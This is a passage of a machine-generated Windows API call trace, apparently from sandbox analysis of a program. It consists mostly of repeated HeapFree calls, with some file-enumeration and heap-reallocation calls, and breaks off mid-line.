[0272.672] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.673] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.673] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.673] FindClose (in: hFindFile=0x77d1e8 | out: hFindFile=0x77d1e8) returned 1 [0272.673] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.673] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.673] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.673] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.673] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.673] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.673] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d5e8 [0272.674] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.674] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.675] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.677] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.677] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.677] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.678] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.678] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.679] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.679] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.679] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.680] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.736] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.760] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.760] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.761] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.761] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.762] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.763] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.764] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.764] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.765] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.769] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.769] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.770] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.771] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.773] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.773] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.774] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0272.774] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.775] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.776] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.777] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.778] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.778] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.782] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.783] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.784] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.784] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.786] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.786] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.991] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.991] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0272.993] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0273.024] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0273.266] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73db38, Size=0x4000) returned 0x7c77a8 [0273.268] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0273.269] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0273.270] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0273.313] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7c77a8, Size=0x8000) returned 0x7cd7c0 [0273.317] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0273.321] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.321] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.322] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.322] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.325] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.326] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.326] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.332] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.338] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.339] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.340] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.342] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.342] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.343] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.343] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.345] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.345] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.345] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.345] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.347] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x459afe8 | out: hHeap=0x6e0000) returned 1 [0273.347] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.347] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.347] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.347] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.348] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.354] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.354] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.354] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.356] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.356] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.356] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.356] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.358] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.358] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.358] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.358] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.359] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.360] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.360] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.360] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.361] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.361] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.362] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.362] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.363] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.363] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.363] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7cd7c0, Size=0x10000) returned 0x4598fd8 [0273.364] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0273.364] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0273.364] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45a8fe0 | out: hHeap=0x6e0000) returned 1 [0273.367] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.050] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0274.050] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.487] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.487] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.489] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.489] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0274.489] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.489] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0274.489] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.489] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0274.489] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.455] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0275.455] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4578fc8 | out: hHeap=0x6e0000) returned 1 [0275.455] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.456] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0275.456] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0275.705] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4556fa8 | out: hHeap=0x6e0000) returned 1 [0275.705] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.705] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.789] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0275.790] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.795] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0275.796] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.796] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0275.798] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0275.800] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.802] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.802] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0275.802] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0276.217] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.218] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.219] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.219] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0276.219] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.219] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.220] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.221] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.247] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.463] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.475] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cdea0 | out: hHeap=0x6e0000) returned 1 [0276.475] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.477] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.520] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.620] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0276.621] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4588fd0 | out: hHeap=0x6e0000) returned 1 [0276.621] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0276.623] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0276.625] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cdea0 | out: hHeap=0x6e0000) returned 1 [0276.635] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cdea0 | out: hHeap=0x6e0000) returned 1 [0276.806] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0277.274] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0277.409] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0277.410] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0277.410] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0278.056] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0278.317] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x4598fd8, Size=0x20000) returned 0x4554f98 [0278.376] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0278.730] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4534f88 | out: hHeap=0x6e0000) returned 1 [0278.730] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0279.091] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0279.132] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0279.649] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0280.198] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x4554f98, Size=0x40000) returned 0x461ffe8 [0280.258] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0280.258] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0280.589] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0280.758] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0280.833] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0281.100] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0281.100] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0282.041] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0282.404] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4544f90 | out: hHeap=0x6e0000) returned 1 [0285.197] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0287.123] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0287.245] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4554f98 | out: hHeap=0x6e0000) returned 1 [0287.519] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0287.527] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0287.527] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0287.528] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0287.593] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4598fd8 | out: hHeap=0x6e0000) returned 1 [0288.213] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0288.414] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0290.244] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0290.514] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.029] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.179] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.220] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.466] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.667] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.780] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.939] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0291.989] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0292.286] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0292.341] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0292.660] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0292.661] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0292.865] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0292.997] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0293.136] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0293.213] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0293.397] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0293.570] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0294.198] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0294.617] HeapFree (in: 